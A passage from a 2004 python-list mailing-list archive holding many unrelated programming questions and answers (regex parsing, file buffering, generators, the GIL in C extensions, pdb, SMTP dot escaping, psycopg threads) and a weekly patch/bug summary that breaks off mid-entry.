<chvf4r$hbj$06$1@news.t-online.com> <pan.2004.09.12.09.53.31.172850@public.srce.hr> <ci1m6v$k4h$02$1@news.t-online.com> <pan.2004.09.12.15.32.14.721863@public.srce.hr> Message-ID: <20040912133712.22efa911@gypsy.pfortin.com> On Sun, 12 Sep 2004 17:32:15 +0200 Luka wrote: This msg has already been processed by something that appears to generate list/tuple segments... I would suspect that whatever modified the message has a string size limitation... However, it looks like whatever manhandled this msg just did what looks like a python print of a tuple... If you really want to process this type of message instead of getting at the real problem, then here's a clue... Here, I reduced the contents to just the items... ('+OK', ['Received', # brackets, braces, parens are just text herein 'by', 'for', 'Date', 'Message-Id', 'From', 'To', 'Subject', 'X-Scanned-By: MIMEDefang 2.42', 'X-Virus-Scanned', 'Content-Length: 4210', 'Status: ', '', '', '---Code block---', '[6964, 7086, ..., 6730', # "[" is just text here ', 6793, ..., 5534]', # "]" ditto '---Code block---' ], 4815 ) Further reducing the items shows the structure: ('s', ['s', 's', 's', 's', 's', 's', 's', 's', 's', 's', 's', 's', # headers '', # header/body separator '', 's', # ---Code block--- 's', # 1st part 's', # 2nd part 's' # ---Code block--- ], 4815 # reported msg size ) which boils down to: (s,[s, ..., s],i) # aka: tuple(string,list(strings),int) So... looks like you just need to isolate the strings between the "---Code block---" strings (could be more than 2 or just 1) and concatenate them. splitting the result... Straight-line brute forcing it: msg = .... # get the message as a tuple sep = "---Code block---" start = msg[1].index(sep) data = msg[1][start+1:] end = data.index(sep) data = data[:end] print "".join(data)[1:-1].split(", ") > This is the original mail, sorry because of the size. As you can see, > there are two problematic spots: 6730', ', and ','6573, at the end of > the mail. Pierre From adalke at mindspring.com Fri Sep 10 13:19:04 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Fri, 10 Sep 2004 17:19:04 GMT Subject: Using re to get data from text file In-Reply-To: <pan.2004.09.10.14.29.26.175980@yahoo.com> References: <pan.2004.09.10.14.29.26.175980@yahoo.com> Message-ID: <cml0d.2800$xA1.2182@newsread3.news.pas.earthlink.net> Jocknerd wrote: > How would I set this up to read in the data using Regular expressions? > > I've tried this: > > while True: > line = file.readline () > if not line: break > game = {} > datePattern = re.compile('^(\d{2})\D+(\d{2})\D+(\d{4})') Regular expressions are tricky. Luckily, there are plenty of resources available to learn. Here's a suggestion for how to read your data. The subtle parts are: - I'm using re.X so I can document each of the fields in the re - The team name must only contain letters [a-zA-Z]+ means "set of letters" (that is, a word) [a-zA-Z]+(\s[a-zA-Z]+)* means "one or more words separated by spaces I also use the ^ and $ symbols to make sure the match is complete across the whole line. If you have teams with digits in the name (eg, "49ers") then you'll have to change the definition of 'word' appropriately. I made it a strict test to ensure sure there wasn't an accidental confusion with a score. import re pat = re.compile(""" ^\s* # allow spaces at the start (\d\d)/(\d\d)/(\d\d\d\d) # the month, day, and year \s+ # spaces to the first team name ([a-zA-Z]+(\s+[a-zA-Z]+)*) # one or more words separated by spaces \s+ # spaces to the first score (\d+) # the score \s+ # spaces to the second team name ([a-zA-Z]+(\s+[a-zA-Z]+)*) # one or more words separated by spaces \s+ # spaces to the second score (\d+) # the score \s*$ # allow spaces, up to the end """, re.X) tests = [ "09/04/2004 Virginia 44 Temple 14", "09/04/2004 LSU 22 Oregon State 21", "09/09/2004 Troy State 24 Missouri 14", "01/02/2003 Florida State 103 University of Miami 2", ] for test in tests: m = pat.match(test) if not m: raise AssertionError("test failure") print "Match results:" print " month", m.group(1), "day", m.group(2), "year", m.group(3) print " team #1", m.group(4), "score", m.group(6) print " team #2", m.group(7), "score", m.group(9) Here's the output Match results: month 09 day 04 year 2004 team #1 Virginia score 44 team #2 Temple score 14 Match results: month 09 day 04 year 2004 team #1 LSU score 22 team #2 Oregon State score 21 Match results: month 09 day 09 year 2004 team #1 Troy State score 24 team #2 Missouri score 14 Match results: month 01 day 02 year 2003 team #1 Florida State score 103 team #2 University of Miami score 2 Andrew dalke at dalkescientific.com From dperl at rogers.com Thu Sep 2 10:04:33 2004 From: dperl at rogers.com (Dan Perl) Date: Thu, 02 Sep 2004 14:04:33 GMT Subject: initializing mutable class attributes References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com> <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <sweNBls/KXoF089yn@the-wire.com> <cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com> <CZoZc.159227$UTP.62107@twister01.bloor.is.net.cable.rogers.com> <u3c21wnbq.fsf@fitlinxx.com> <mEtZc.160666$UTP.71082@twister01.bloor.is.net.cable.rogers.com> <ch5tki$csm$0$216.39.172.122@theriver.com> <1gjhleb.6l5nbvaf0x06N%aleaxit@yahoo.com> Message-ID: <RLFZc.126860$pTn.110591@news01.bloor.is.net.cable.rogers.com> "Alex Martelli" <aleaxit at yahoo.com> wrote in message news:1gjhleb.6l5nbvaf0x06N%aleaxit at yahoo.com... > Bengt Richter <bokr at oz.net> wrote: > ... > I could use it in the Cookbook, side by side with Dan's "overloading > __new__" idea and my custom metaclass, as various approaches to solving > a 'problem' (if that be one) of "automatically initializing mutable > instance attributes". It would help if you and/or Dan posted these > recipes to ActiveState's online cookbook ASAP (deadline is Sat Sep 5...) > -- I'm allowed to add recipes that didn't show up on the online > cookbook, but that _is_ discouraged... (and posting the recipes myself > isn't much better, either). I already submitted mine. It's recipe #303059, so go to: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/303059 You are right in an earlier posting that another call to __init__ in the __new__ was redundant. It was even a problem when using it in the multiple inheritance case. I figured out eventually that it's not needed and I got rid of it. Dan From adalke at mindspring.com Fri Sep 10 03:11:27 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Fri, 10 Sep 2004 07:11:27 GMT Subject: A bug with file.tell()? In-Reply-To: <f8097096.0409092043.3760d72a@posting.google.com> References: <f8097096.0409092043.3760d72a@posting.google.com> Message-ID: <zsc0d.2572$xA1.2297@newsread3.news.pas.earthlink.net> Nick Jacobson wrote: > Is this a bug? [example of mixing iterator-style line reads from a file and tell] No, it's a documented behaviour. http://docs.python.org/lib/bltin-file-objects.html ] In order to make a for loop the most efficient way ] of looping over the lines of a file (a very common ] operation), the next() method uses a hidden read-ahead ] buffer. As a consequence of using a read-ahead ] buffer, combining next() with other file methods (like ] readline()) does not work right. However, using seek() ] to reposition the file to an absolute position will ] flush the read-ahead buffer. > This code involves the file methods "seek" and "tell". Even though > the file pointer is in the middle of the file, "tell" returns a > position at the end of the file! That means the underlying file handle is at the end and everything remaining is in memory. Andrew dalke at dalkescientific.com From tungwaiyip at yahoo.com Mon Sep 6 15:00:37 2004 From: tungwaiyip at yahoo.com (Wai Yip Tung) Date: Mon, 06 Sep 2004 12:00:37 -0700 Subject: turning callback into generator Message-ID: <opsdw5rbaz433nmu@news.cisco.com> I'm attempting to turn some process than uses callback to return result into a more user friendly generator. I'm hitting some road block so any pointer would be appriciated. Let say there is an existing method producer(x, cb). It calls the supplied cb() every time when there is data available. The definititon of cb should be: def cb(data) To turn it into generator, I tried: def product_generator(x): producer(x,cb) def cb(data): yield data But that's not really the way Python works. 'yield' is not only a imperative statement but it also the keyword to signify the containing function as a generator function. So in this case product_generator is an oridinary function and cb is a generator. Note that producer() is an existing method that I cannot change. Otherwise I might strip the cb and yield directly from the producer(). If python would define another keyword 'generator' to explicit distinguish normal function from generator and decouple it from the 'yield' keyword, it could perhaps be done that way: generator product_generator(x): producer(x,cb) def cb(data): yield data Is this just an syntactic issue or am I hitting on some generator's implementation issue? Is there a proper way to do this in Python 2.3? Thanks for any pointer. From msw at iee.lu Thu Sep 16 06:36:27 2004 From: msw at iee.lu (Manfred Schwab) Date: Thu, 16 Sep 2004 12:36:27 +0200 Subject: Recording messages and print statements in a textfile during program execution. Message-ID: <41496CAB.4DDC14F7@iee.lu> Recording messages and print statements in a textfile during program execution. Is there a similar command to redirect errormessages or print statements into a standart asciifile during programm execution. I would like to echo the complete console output into a textfile and send this file as email at a certain point in time. The programm execution shall not be stopped. As an example take a look at the description below. Set alternate on is a command from the programming language clipper / dbase / flagship Manfred SET ALTERNATE Echo console output to a text file ------------------------------------------------------------------------------ Syntax SET ALTERNATE TO [<xcFile> [ADDITIVE]] SET ALTERNATE on | OFF | <xlToggle> Arguments TO <xcFile> opens a standard ASCII text file for output with a default extension of (.txt). The filename may optionally include an extension, drive letter, and/or path. You may specify <xcFile> either as a literal filename or as a character expression enclosed in parentheses. Note that if a file with the same name exists, it is overwritten. ADDITIVE causes the specified alternate file to appended to instead of overwritten. If not specified, the specified alternate file is truncated before new information is written to it. ON causes console output to be written to the open text file. OFF discontinues writing console output to the text file without closing the file. <xlToggle> is a logical expression that must be enclosed in parentheses. A value of true (.T.) is the same as ON, and a value of false (.F.) is the same as OFF. Description SET ALTERNATE is a console command that lets you write the output of console commands to a text file. Commands such as LIST, REPORT FORM, LABEL FORM, and ? that display to the screen without reference to row and column position are console commands. Most of these commands have a TO FILE clause that performs the same function as SET ALTERNATE. Full-screen commands such as @...SAY cannot be echoed to a disk file using SET ALTERNATE. Instead you can use SET PRINTER TO <xcFile> with SET DEVICE TO PRINTER to accomplish this. SET ALTERNATE has two basic forms. The TO <xcFile> form creates a DOS text file with a default extension of (.txt) and overwrites any other file with the same name. Alternate files are not related to work areas with only one file open at a time. To close an alternate file, use CLOSE ALTERNATE, CLOSE ALL, or SET ALTERNATE TO with no argument. The on|OFF form controls the writing of console output to the current alternate file. SET ALTERNATE ON begins the echoing of output to the alternate file. SET ALTERNATE OFF suppresses output to the alternate file but does not close it. Examples . This example creates an alternate file and writes the results of the ? command to the file for each record in the Customer database file: # determine outputfile SET ALTERNATE TO Listfile # start recording SET ALTERNATE ON USE Customer NEW DO WHILE !EOF() ? Customer->Lastname, Customer->City SKIP ENDDO # stop recording SET ALTERNATE OFF # close recordfile CLOSE ALTERNATE CLOSE Customer Files: Library is CLIPPER.LIB. -- This e-mail may contain trade secrets or privileged, undisclosed or otherwise confidential information. If you are not the intended recipient and have received this e-mail in error, you are hereby notified that any review, copying or distribution of it is strictly prohibited. Please inform us immediately and destroy the original transmittal from your system. Thank you for your co-operation. -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040916/ff69b111/attachment.html> -------------- next part -------------- A non-text attachment was scrubbed... Name: msw.vcf Type: text/x-vcard Size: 348 bytes Desc: Card for Manfred Schwab URL: <http://mail.python.org/pipermail/python-list/attachments/20040916/ff69b111/attachment.vcf> From tjreedy at udel.edu Thu Sep 16 21:47:07 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 16 Sep 2004 21:47:07 -0400 Subject: "Updating" lambda functions References: <2qtl0oF139gn6U1@uni-berlin.de> Message-ID: <cidfn0$4vj$1@sea.gmane.org> "Oliver Fromme" <olli at haluter.fromme.com> wrote in message news:2qtl0oF139gn6U1 at uni-berlin.de... > fu = lambda x: x > fu = lambda x: fu(x) + 17 etc I am curious if there is any reason other that habit carried over from other languages to not write the above as def fu(x): return x def fu(x): return fu(x) + 17 etc Granted, the latter takes 2 more keystrokes, but the resulting object gets a proper .name attribute. And, of course, the def form is required for a multiline body anyway. (Note: I am not asking about the use of lambda *within* an expression or as a return value, but only the immediate name-binding of the supposedly anonymous function where one does not want anonymity.) Terry J. Reedy From deetsNOSPAM at web.de Tue Sep 14 16:36:53 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Tue, 14 Sep 2004 22:36:53 +0200 Subject: Strange "feature" involving double slashes in Win98 References: <mailman.3327.1095192228.5135.python-list@python.org> Message-ID: <ci7kou$eqj$00$1@news.t-online.com> > > Well, that's the problem. What's I'm supposed to do? Maybe you can go for applying os.path.join and os.path.normpath to all user-specified paths? I don't have windows, so I can't say how os.path.normpath('c://foo') behaves, but maybe its does do the job. -- Regards, Diez B. Roggisch From garyr at fidalgo.net Sat Sep 18 11:26:59 2004 From: garyr at fidalgo.net (Gary Richardson) Date: Sat, 18 Sep 2004 08:26:59 -0700 Subject: win32api.SetCursorPos() question Message-ID: <10kol21ah3ulpcc@corp.supernews.com> I'm trying to use win32api.SetCursorPos() to position the cursor in a Tkinter canvas window. I.e.: from Tkinter import * import win32api root = Tk() canvas = Canvas(root, width=400, height=300, bg='white') canvas.pack() win32api.SetCursorPos(100,100) root.mainloop() But this code produces: Traceback (most recent call last): File "C:\Python22\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py", line 301, in RunScript exec codeObject in __main__.__dict__ File "C:\My Documents\Python\Ascii\Script4.py", line 6, in ? win32api.SetCursorPos(100,100) TypeError: SetCursorPos() takes exactly 1 argument (2 given) Am I using this function incorrectly? A search on Google didn't turn up much but I did find one bit of code in which it was used in this manner. I suspect there may be other problems with this approach so any further comments will be appreciated also. I'm using ActivePython 2.2.2 build 224 on Win98SE. Thanks, Gary Richardson From csae1211 at uibk.ac.at Mon Sep 13 06:44:43 2004 From: csae1211 at uibk.ac.at (Poissonnier Julien) Date: Mon, 13 Sep 2004 12:44:43 +0200 Subject: glade In-Reply-To: <414579e1$1@sia.uibk.ac.at> References: <ci3jd7$5e8$1@news.vol.cz> <414579e1$1@sia.uibk.ac.at> Message-ID: <41457a1b$1@sia.uibk.ac.at> Poissonnier Julien wrote: > p.kosina wrote: > >> Does there exist any python plug-in (or something like that) for Glade >> 2.0.1. win32 port? I cant find any or links are unavailable. >> Thanks >> Pavel > > PyGTK for Windows includes libglade support > http://www.pcpm.ucl.ac.be/~gustin/win32_ports/ > There is a nice all-in-one installer for windows (includes GTK+, Glade, > Docs, etc) which works well with the Windows PyGTK port I forgot the link to the all-in-one installer: http://gladewin32.sourceforge.net/ From sizelji at insightbb.com Tue Sep 28 09:03:45 2004 From: sizelji at insightbb.com (Jim Sizelove) Date: Tue, 28 Sep 2004 13:03:45 GMT Subject: New to Python In-Reply-To: <4158c606_4@newsfeed.slurp.net> References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> <mailman.3722.1095866933.5135.python-list@python.org> <4158c606_4@newsfeed.slurp.net> Message-ID: <Rid6d.63942$wV.21099@attbi_s54> Steven Rumbalski wrote: >>Delaney, Timothy C (Timothy) wrote: > > >>>http://www.catb.org/~esr/faqs/smart-questions.html >>> [snip] > > I for one will say that ESR's article helped me about 5 or 6 years ago when > I was just getting involved in newsgroups. I internalized much of his > advice and have therefore actually rarely posted questions. > > --Steven Rumbalski As someone who is just starting to seriously follow this newsgroup, I found the Smart Questions FAQ very good advice, which I will consider before posting. Thanks for pointing it out, Tim. Jim Sizelove From devrim at machsim.com Sun Sep 19 05:07:23 2004 From: devrim at machsim.com (Devrim Erdem) Date: 19 Sep 2004 02:07:23 -0700 Subject: Interactive Console for Win32 Application Message-ID: <b2f253f2.0409190107.5cf26dd9@posting.google.com> Hello, I am on win32 with python2.2. My python added C++ app is an OpenGL application so there is no real GUI code around it. I have built in the python interpreter which works very great. I would like to have the opportunity to popup a console from my application which has access to the python module which is defined and instantiated in my application. If I had the time, I would implement a Quake like console. To save time, I wanted to check if there is already a way of doing this on Windows. P.S. The app is not full screen so I can popup another window that's not a problem at all. Thanks in advance, Devrim From elbertlev at hotmail.com Fri Sep 10 10:56:44 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 10 Sep 2004 07:56:44 -0700 Subject: Shorter checksum than MD5 References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be> <7xfz5rn1w2.fsf@ruckus.brouhaha.com> <hNX%c.241261$Ch3.12334176@phobos.telenet-ops.be> <7xllfjfe9m.fsf@ruckus.brouhaha.com> Message-ID: <9418be08.0409100656.516fef2d@posting.google.com> Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:<7xllfjfe9m.fsf at ruckus.brouhaha.com>... ...snip >Also, with CRC32, > it's very easy to create a record on purpose that has any given > checksum. Is THAT a problem? For example, it means that if someone > can change the price of an article, he can choose a new price so that > the record will have the same checksum as the old price and the change > won't get noticed. Could he buy something for $1.00, change the price > to $11.73 or something, then return the item and get an $11.73 refund > because you didn't notice the update? Really? If this is "very easy" please modify the string to have the same CRC32: "The probability of the changed dada having the same CRC32 is 1/2**32" crc32 = de6acdf9 To make the task even easier, I will not give you the "salt" value :) From joewong at mango.cc Thu Sep 23 04:09:51 2004 From: joewong at mango.cc (Joe Wong) Date: Thu, 23 Sep 2004 16:09:51 +0800 Subject: Access to MS SQL from Linux? Message-ID: <000a01c4a144$b3f9d800$7f00a8c0@scl01.siliconcreation.com> Hi, Is there any Python library for accessing MS SQL server from a Linux machine? Either open source or commerical one will do for me. Regards, - Joe --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.768 / Virus Database: 515 - Release Date: 2004/9/22 -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040923/61fa2fb3/attachment.html> From dieter at handshake.de Sun Sep 5 15:14:08 2004 From: dieter at handshake.de (Dieter Maurer) Date: 05 Sep 2004 21:14:08 +0200 Subject: Problem with quopri in email References: <cha498$bbk$1@online.de> Message-ID: <x7acw44jgf.fsf@handshake.de> Benjamin Niemann <b.niemann at betternet.de> writes on Fri, 03 Sep 2004 18:00:50 +0200: > I just sent a newsletter (HTML with <img>s) using a Python script. > Looking at the error_log of our web server, I'm seeing lots of 404 > error for files like > > /images/news/f68f57c1c67dc319d84f7c11c8b71b65jpeg > or > /images/news/f23a00f8bd912b73b4f63149cc808dbf..jpeg > (there should be exactly one dot...) > > The corresponding parts of the quopri encoded HTML looks like this: > ....<img= > src=3D"http://www.fujinews.de/images/news/f68f57c1c67dc319d84f7c11c8b71b65= > ..jpeg" alt=3D"E550_seitliche_front_flash low res.jpg" vspace=3D"4" hspace= > =3D"4" border=3D"0" align=3D"left" />... This is not a "quopri" problem but an SMTP problem. The SMTP protocol requires that a dot at the beginning of a line is escaped by doubling (because it uses a line consisting of a single dot as end of message indicator). Of course, the SMTP reader is expected to remove this dublicated dot again. Somehow, your SMTL sender or reader got something wrong with the handling of a dots at the beginning of a line. Dieter From aahz at pythoncraft.com Thu Sep 30 13:28:08 2004 From: aahz at pythoncraft.com (Aahz) Date: 30 Sep 2004 13:28:08 -0400 Subject: One thread freezes my whole application References: <GGt6d.8022$5O5.6405@news-server.bigpond.net.au> <415aa436$0$240$edfadb0f@dread14.news.tele.dk> <ETV6d.9689$5O5.8558@news-server.bigpond.net.au> Message-ID: <cjhfn8$ka7$1@panix3.panix.com> In article <ETV6d.9689$5O5.8558 at news-server.bigpond.net.au>, Michael Zhang <jianqiz at bigpond.com> wrote: > >Your hint on GIL leads me quite lots of searching and reading on Google. >After several hours confusion (due to those different opinions), I >finally come to a quite simple and amazing solution: > > Py_BEGIN_ALLOW_THREADS; # add this line > some_blocking_function_call(); > Py_BEGIN_ALLOW_THREADS; # add this line as well I'm assuming you meant this: Py_END_ALLOW_THREADS; # add this line as well >However, there is a new question (rather than a problem). Since my >Cmodule is created using SWIG, if there is any change in the original >C code, I have to run swig again to get new "Cmodule_wrap.c" file, >and add above two lines into that new wrapper file, then build a new >module. It's quite uncomfortable during debugging. Is there any way I >can use to achieve the same goal on Python side code, rather that on C >extension side? Can I just modify the Python code to release that GIL? >or Do I have any misunderstading about GIL, say, the concept about GIL >only applies to C extension rather than Python threading itself? It's a bit more complicated than that. The concept of the GIL applies to both Python and C extensions; however, only C extensions can release the GIL. In other words, only one thread of Python code can execute at any time because of the GIL -- try to break that and your application *WILL* blow up. C code that does not use *ANY* Python API may release the GIL to allow other threads to run. Before starting to use the Python API, the C code *MUST* re-acquire the GIL. Traditionally, I/O code is the prime candidate for releasing the GIL. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "A foolish consistency is the hobgoblin of little minds, adored by little statesmen and philosophers and divines." --Ralph Waldo Emerson From aleaxit at yahoo.com Mon Sep 27 08:52:11 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 27 Sep 2004 14:52:11 +0200 Subject: Metaclass with name overloading. References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> Message-ID: <1gkrzxq.l8owau16ix211N%aleaxit@yahoo.com> Jacek Generowicz <jacek.generowicz at cern.ch> wrote: ... > I would like to write a metaclass which would allow me to overload > names in the definition of its instances, like this ... > I was wondering whether it would be possible to achieve this by > forcing Python to use some dicitonary proxy (which accumulates values, > rather that keeping just the last value to be associated with a key), > instead of dict, when executing the class definiton? > > Is something like this at all possible in pure Python? or does in > require fiddling around in the guts of the parser? It's not possible in pure Python -- Python will always use a real dict rather than any other type as you'd wish. The parser OTOH shouldn't really be involved, either. In the end it boils down to a series of STORE_NAME pseudocode instructions, which currently do: case STORE_NAME: w = GETITEM(names, oparg); v = POP(); if ((x = f->f_locals) != NULL) { if (PyDict_CheckExact(x)) err = PyDict_SetItem(x, w, v); else err = PyObject_SetItem(x, w, v); Py_DECREF(v); so they'd be able to work with f_locals being either a dict, or any other mapping -- so that part should be OK. But having frame f's f_locals be anything but a dict, now THAT is the problem... Alex From M.Waack at gmx.de Fri Sep 17 13:59:49 2004 From: M.Waack at gmx.de (Mathias Waack) Date: Fri, 17 Sep 2004 19:59:49 +0200 Subject: getting the function name References: <3064b51d.0409170927.584a10b3@posting.google.com> Message-ID: <l9lr12-g78.ln1@valpo.de> beliavsky at aol.com wrote: > Is there a way in Python to print the name of the function one is > currently in? >>> def f(): ... tb = traceback.extract_stack() ... print tb[-1][2] >>> f() f I'm using a more comfortable way by setting a global debug flag and enabling tracing (see sys.settrace). This gives you the same feature without adding code to each function. Mathias From max at alcyone.com Tue Sep 7 15:21:49 2004 From: max at alcyone.com (Erik Max Francis) Date: Tue, 07 Sep 2004 12:21:49 -0700 Subject: %a format References: <mailman.2992.1094581774.5135.python-list@python.org> <usm9tx5n3.fsf@broadpark.no> Message-ID: <413E0A4D.D1E91162@alcyone.com> Tor Iver Wilhelmsen wrote: > John Lenton <john at grulic.org.ar> writes: > > > Is there any reason python's printf-style formatting is missing the > > (C99) '%a' specifier? > > Because it's not very well known or used? A google for "C printf > format string" gave lots of resources, none of which had %a. It's not C99, anyway; my copy of C99 makes no mention of it (the only mention of %a is associated with gmtime. -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ Education is a state-controlled manufactory of echoes. -- Norman Douglas From ken at perfect-image.com Mon Sep 20 12:17:09 2004 From: ken at perfect-image.com (Ken Godee) Date: Mon, 20 Sep 2004 09:17:09 -0700 Subject: Psycopg and threads problem In-Reply-To: <414EF5BC.9010002@magproductions.nl> References: <cimj9q$7jr$1@netlx020.civ.utwente.nl> <0fidnS729Ln4bdPcRVn-hQ@giganews.com> <414EF5BC.9010002@magproductions.nl> Message-ID: <414F0285.3040609@perfect-image.com> > > The script I'm working on does bulk inserts from multiple related XML > files (parsed using the sax parser) and take turns inserting small > batches of xml records from those files. The collection thread combines > these into 1 xml record, which is why it's so important that the inserts > are done in time. > > I can't commit until all the data has been inserted and combined. The > commit shouldn't happen until the end of the main thread is reached. > > If the server goes down, or there's another reason it can't continue > parsing, the whole transaction should rollback. Committing in between > would be 'problematic' (where in the XML files were we interupted? Hard > to tell). > > Also, I don't think I can join the threads (as someone else suggested), > as they are still working in an Application instance (part of the SAX > parser). The threads are waiting until they're allowed to continue; by a > linked list of Events (so that I can remove events for threads that > finished - which shouldn't happen, but it may). Unless I misunderstand > thread joining, of course. > I would probally pass a queue instance to the worker threads and in the main thread create a timer method/function that periodically checks the queue. When the worker thread is done doing its thing, do a commit and queue.put('done') When the main thread checks the queue.get(0) = 'done' have it do it's thing. This is the beauty of queues. From zanesdad at bellsouth.net Fri Sep 17 09:50:42 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Fri, 17 Sep 2004 09:50:42 -0400 Subject: changing local variable values in python debugger In-Reply-To: <fvplk0lecej975q6q1fl76b8mpmmf8us00@4ax.com> References: <cic219$l1s@odak26.prod.google.com> <414AE09D.3050607@bellsouth.net> <fvplk0lecej975q6q1fl76b8mpmmf8us00@4ax.com> Message-ID: <414AEBB2.6000202@bellsouth.net> Richie Hindle wrote: >[Jeremy] > > >>Is there any way to modify a local variable in the Python debugger (pdb)? >>[...] >>(Pdb) f >>'a' >>(Pdb) f = 'd' >>(Pdb) f >>'a' >> >> > >In fact what you're doing there *is* working - look: > > > >>c:\src\tests\jeremy-pdb.py(9)main() >> >> >-> if f == 'd': >(Pdb) f >'b' >(Pdb) f = 'd' >(Pdb) s > > >>c:\src\tests\jeremy-pdb.py(10)main() >> >> >-> b(f) > >Setting the value of a local variable works, but *examining* the value resets >it to whatever it was when you arrived at the current pdb prompt. It's a bug, >either in pdb or in Python's core debugger support depending on how you look >at it. I've been meaning to try to fix this for ages, but haven't found the >time to figure out how to do so. > > > Doh! Thanks! I didn't try to continue stepping through without re-evaluating the variable. That will save my sanity. I knew there had to be a way to do it, but I didn't know that I was already doing it. Thanks again! Jeremy -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040917/7a8e9231/attachment.html> From rays at blue-cove.com Tue Sep 21 18:36:42 2004 From: rays at blue-cove.com (Ray S) Date: Tue, 21 Sep 2004 15:36:42 -0700 Subject: Help Req: pipedream.py, win32pipe, and compilers In-Reply-To: <101q7sbms36eb9e@corp.supernews.com> References: <5a40bf6a.0401311123.4b7f783f@posting.google.com> <mailman.1081.1075583900.12720.python-list@python.org> <bvhbr7$6rj$07$1@news.t-online.com> <mailman.1093.1075628924.12720.python-list@python.org> Message-ID: <5.2.0.4.2.20040921135316.00b01250@blue-cove.com> Does anyone know why a script that uses win32pipe.popen3() will run a script, but hang when compiled? I can't get a script that uses pipedream.py to run when compiled with McMillan or py2exe; it appears that the client process (an interactive DOS exe) returns the first screen of text, gets to its first prompt, then exits. pipedream.py does: c = os.read(self._in.fileno(), 1) and just hangs, no error. I'd appreciate any and all tips ... Ray Schumacher Blue Cove Interactive 7220 Trade Street, Suite 101 San Diego, CA 92121 858.695.8801 http://Blue-Cove.com From kbk at shore.net Wed Sep 29 01:17:48 2004 From: kbk at shore.net (Kurt B. Kaiser) Date: Wed, 29 Sep 2004 01:17:48 -0400 (EDT) Subject: Weekly Python Patch/Bug Summary Message-ID: <200409290517.i8T5Hm0L017921@h006008a7bda6.ne.client2.attbi.com> Patch / Bug Summary ___________________ Patches : 235 open ( +0) / 2637 closed ( +4) / 2872 total ( +4) Bugs : 768 open ( +1) / 4480 closed (+17) / 5248 total (+18) RFE : 152 open ( +1) / 131 closed ( +0) / 283 total ( +1) New / Reopened Patches ______________________ unittest.py patch: add skipped test functionality (2004-09-24) http://python.org/sf/1034053 opened by Remy Blank Remove CoreServices / CoreFoundation dependencies in core (2004-09-26) http://python.org/sf/1035255 opened by Bob Ippolito -m option to run a module as a script (2004-09-28) http://python.org/sf/1035498 opened by Nick Coghlan Add New RPM-friendly record option to setup.py (2004-09-28) http://python.org/sf/1035576 opened by Jeff Pitman Patches Closed ______________ Add API to logging package to allow intercooperation. (2004-09-21) http://python.org/sf/1032206 closed by vsajip SystemError generated by struct.pack('P', 'notanumber') (2004-08-18) http://python.org/sf/1011240 closed by arigo (bug 952953) execve empty 2nd arg fix (2004-08-14) http://python.org/sf/1009075 closed by arigo atexit decorator (2004-09-21) http://python.org/sf/1031687 closed by rhettinger New / Reopened Bugs ___________________ idle -n crashes (2004-09-22) CLOSED http://python.org/sf/1032395 opened by Matthias Klose Odd behavior with unicode.translate on OSX. (2004-09-22) http://python.org/sf/1032615 opened by Jeremy Fincher ftplib has incomplete transfer when sending files in Windows (2004-09-22) http://python.org/sf/1032875 opened by Ed Sanville Confusing description of strict option for email.Parser (2004-09-23) http://python.org/sf/1032960 opened by Andrew Bennetts Misleading error message in random.choice (2004-09-22) CLOSED http://python.org/sf/1033038 opened by Nefarious CodeMonkey, Jr. build doesn't pick up bsddb w/Mandrake 9.2 (2004-09-23) http://python.org/sf/1033390 opened by Alex Martelli buffer() object broken. (2004-09-23) CLOSED http://python.org/sf/1033720 opened by James Y Knight Can't inherit slots from new-style classes implemented in C (2004-09-24) http://python.org/sf/1034178 opened by Phil Thompson More buffer object brokenness (2004-09-24) CLOSED http://python.org/sf/1034242 opened by James Y Knight Why does Python link to Foundation? (2004-09-24) http://python.org/sf/1034277 opened by Bob Ippolito Configure uses GNU ld flags with non-GNU compilers/linkers (2004-09-25) CLOSED http://python.org/sf/1034496 opened by Drew Schatt hex() and oct() documentation is incorrect (2004-09-27) http://python.org/sf/1035279 opened by Nick Coghlan distutils.util.get_platform() should include sys.version[:2] (2004-09-27) http://python.org/sf/1035703 opened by Bob Ippolito Tix.Grid widgets not implemented yet (2004-09-28) http://python.org/sf/1036406 opened by Christos Georgiou unicode strings cannot be dictionary keys (2004-09-28) http://python.org/sf/1036490 opened by Morten Kjeldgaard Email module's feed parser (2004-09-28) CLOSED http://python.org/sf/1036506 opened by Matthew Cowles file.next() info hidden (2004-09-28) http://python.org/sf/1036626 opened by Nick Jacobson printf() in dynload_shlib.c should be PySys_WriteStderr (2004-09-28) http://python.org/sf/1036752 opened by Jp Calderone Bugs Closed ___________ rfc822 __iter__ problem (2004-09-17) http://python.org/sf/1030125 closed by rhettinger Fold tuples of constants into a single constant (2004-09-20) http://python.org/sf/1031667 closed by rhettinger Misleading error message in random.choice (2004-09-22) http://python.org/sf/1033038 closed by rhettinger PEP 302 loader not carried through by reload function (2004-09-16) http://python.org/sf/1029475 closed by pje Float/long 